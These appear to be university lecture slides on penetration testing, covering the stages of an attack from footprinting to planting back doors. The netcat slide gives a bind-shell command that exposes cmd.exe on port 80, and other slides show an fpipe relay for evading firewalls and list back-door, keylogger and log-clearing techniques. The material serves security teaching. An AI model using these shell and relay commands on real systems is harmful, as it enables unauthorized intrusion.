Académique Documents
Professionnel Documents
Culture Documents
C. Edward Chow
cs591
chow
Definition, Concepts on Penetration Testing/Hacking Anatomy of a Hack Framework for penetration studies Skills and Requirements of a Penetration Tester SAN list of Security Holes Internet Penetration Dial up Penetration Internal Penetration References: CORE IMPACT - Penetration Testing: Assessing Your Overall Security Before Attackers Do Pages 165,277 Security in Computing. Hack I.T, Security Through Penetration Testing, by T.J. Klevinksy, Scott Laliberte, Ajay Gupta. http://www.hackingexposed.com/win2k/links.html
2 chow
cs591
Definition
Vulnerability (Security Flaw): specific failure of the system to guard against unauthorized access or actions. It can be procedures, technology (SW or HW), or management. Using the failure of the system to violate the site security policy is called exploiting the vulnerability Penetration Study is a test for evaluating the strengths of all security controls on the computer system. It intends to find all possible security holes and provides suggestions for fixing them. Penetration Testing is an authorized attempt to violate specific constraints stated in the form of a security or integrity policy. Penetration Testing is a testing technique for discovering, understanding, and documenting all the security holes that can be found in a system. It is not a proof techniques. It can never prove the absence of security flaws. It can only prove their presence. Example goals of penetration studies are gaining of read or write access to specific objects, files, or accounts; gaining of specific privileges; and disruption or denial of the availability of objects. What is the difference between penetration testing and hacking/intrusion?
3 chow
cs591
A more thorough penetration study is to find the proper interpretation of vulnerabilities found, draw conclusion on the care taken in the design and implementation. A simple list of vulnerabilities , although helpful in closing those specific holes, contribute far less to the security of a system. In practice, constrains (resource, money, time) affect the penetration study
cs591
chow
whois, nslookup
Nmap, fping
dumpACL, showmount legion, rpcinfo
An excellent description inside of the back cover page of Hacking Exposed text by McClure et al.
Pilferting
Covering Tracks Creating Back Doors Denial of Service
cs591
chow
Footprinting
Information gathering. Sam Spade is window-based network query tool. Find out target IP address/phone number range Why check phone numbers? Namespace acquisition. Network Topology (visualRoute). It is essential to a surgical attack. The key here is not to miss any details. Note that for penetration tester, this step is to avoiding testing others instead of your client and to include all systems to be tested (sometime the organization will not tell you what their systems consist of). Defense: deploy NIDS (snort), RotoRouter
Find domain name, DNS zone admin, IP addresses transfer name servers Whois (Network solution; arin)
6
cs591
Scanning
Bulk Target assessment Which machine is up and what ports (services) are open Focus on most promising avenues of entry. To avoid being detect, these tools can reduce frequency of packet sending and randomize the ports or IP addresses to be scanned in the sequence. Note that some machine does not respond to ping but responds to requests to ports that actually open. Ardor is an example. Techniques Ping sweep TCP/UDP port scan Nmap Superscan fscan
7
OS detection
Tools
cs591
Enumeration
Identify valid user accounts or poorly protected resource shares. Most intrusive probing than scanning step. Techniques list user accounts list file shares identify applications
Tools
cs591
chow
Gaining Access
Based on the information gathered so far, make an informed attempted to access the target.
Techniq ues
Buffer overflow
Tools
cs591
Escalating Privilege
If only user-level access was obtained in the last step, seek to gain complete control of the system. Techniques Password cracking Known Exploits
Tools
cs591
10
chow
Pilfering
Webster's Revised Unabridged Dictionary (1913) Pilfer \Pil"fer\, v. i. [imp. & p. p. Pilfered; p. pr. & vb. n. Pilfering.] [OF. pelfrer. See Pelf.] To steal in small quantities, or articles of small value; to practice petty theft. Gather info on identify mechanisms to allow access of trusted systems.
Techniques
Evaluate Trusts
Tools
cs591
11
chow
Covering Tracks
Once total ownership of the target is secured, hiding this fact from system administrators become paramount, less they quickly end the romp.
Techniques
Clear Logs
Hide tools
Tools
cs591
12
chow
Trap doors will be laid in various parts of the system to ensure that privilege access is easily regained whenever the intruder decides. Schedule batch jobs Cron, AT Infect startup files rc, startup folder, registry keys Replace appls with Trojans Login, fpnwcint.dll
Techniques Plant remote Install monitoring control services mechanisms Tools Netcat, remote.exe VNC, B02K remote desktop Keystroke loggers, add acct. to secadmin mail aliases
cs591
13
chow
Denial of Services
If atacker is unsuccessful in gaining access, they may use readily available exploit code to disable a target as a last resort. ICMP techniques Ping to death smurf Out of bounds TCP options (OOB) Keystroke loggers, add acct. to secadmin mail aliases
14
Techniques Overlapping fragment/offset bugs Tools Netcat, remote.exe VNC, B02K remote desktop
cs591
Originally designed by Renaud Deraison Available at www.nessus.org Main scanning engine running on Unix server with client GUI running on Unix or Windows. Pretty good control and reporting. Include a script language for plug-in (detecting additional attacks). http://www.nessus.org/pres/bh2001/index.html
cs591
15
chow
cs591
16
chow
cs591
17
chow
cs591
18
chow
cs591
19
chow
cs591
20
chow
cs591
21
chow
Once obtain the admin privilege, you install tools that allow you to run command remotely (e.g. netcat) or use the machine as a stepping stone for relaying or redirecting the msg (fpipe) Port redirection accepts packet from one port and send it over another port. It can be used to avoid packet filter firewall. We will use netcat and fpipe to illustrate the concept. Netcat is available at http://www.atstake.com/research/tools/network_utilities/ Fpipe is available at http://www.foundstone.com
22 chow
cs591
Setup Netcat
C:\work\cucs\cs522\project>c:\work\software\security\nc\nc -v -L -e cmd.exe -p 80 -s 128.198.177.63 Hacker runs the nc command on the victim machine, which listens to the command sent in from port 80, use cmd.exe to run the command and redirect the console output as http response back. listening on [128.198.177.63] 80 ... connect to [128.198.177.63] from VIVIAN.eas.uccs.edu listening on [128.198.177.63] 80 ... connect to [128.198.177.63] from VIVIAN.eas.uccs.edu Here we bind in front of port 80. You can also use port 139. The idea is used known port to avoid detection. -L is used to repeat previous command after connection is terminated. The nc command will receive command from packet to port 80, and chow 23 run it with cmd.exe and send back execution result. cs591
Setup FPIPE
C:\work\software\security\fpipe>fpipe -l 53 -s 53 -r 80 128.198.177.63 FPipe v2.1 - TCP/UDP port redirector. This is run the infected machine which serves as relay. Use port 53 for listen to Internet connection, relay any msg from port 53 to machine with 128.198.177.63 and port 80. Copyright 2000 (c) by Foundstone, Inc. http://www.foundstone.com Pipe connected: In: 128.198.162.60:58797 --> 128.198.168.63:53 Out: 128.198.168.63:53 --> 128.198.177.63:80 Pipe connected: In: 128.198.162.60:58801 --> 128.198.168.63:53 Out: 128.198.168.63:53 --> 128.198.177.63:80
Here the fpipe program listens to packet incoming from blanca to port 53, relay it over to 128.198.177.63 using port 53 (DNS) to avoid chow 24 cs591 detection.
C:\work\software\security\nc>[cs691@blanca cs691]$ telnet 128.198.168.63 53 Trying 128.198.168.63... Connected to vivian (128.198.168.63). Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\work\cucs\cs522\project>dir dir Volume in drive C is S3A1203D501 Volume Serial Number is 503B-9F00 Directory of C:\work\cucs\cs522\project
Note that it is the console output of 128.198.177.63 machine being shown here.
25 chow
cs591
Layering of Tests
External attacker with no knowledge of the system. 2. External attacker with access to the system. 3. Internal attacker with access to the system.
1.
cs591
26
chow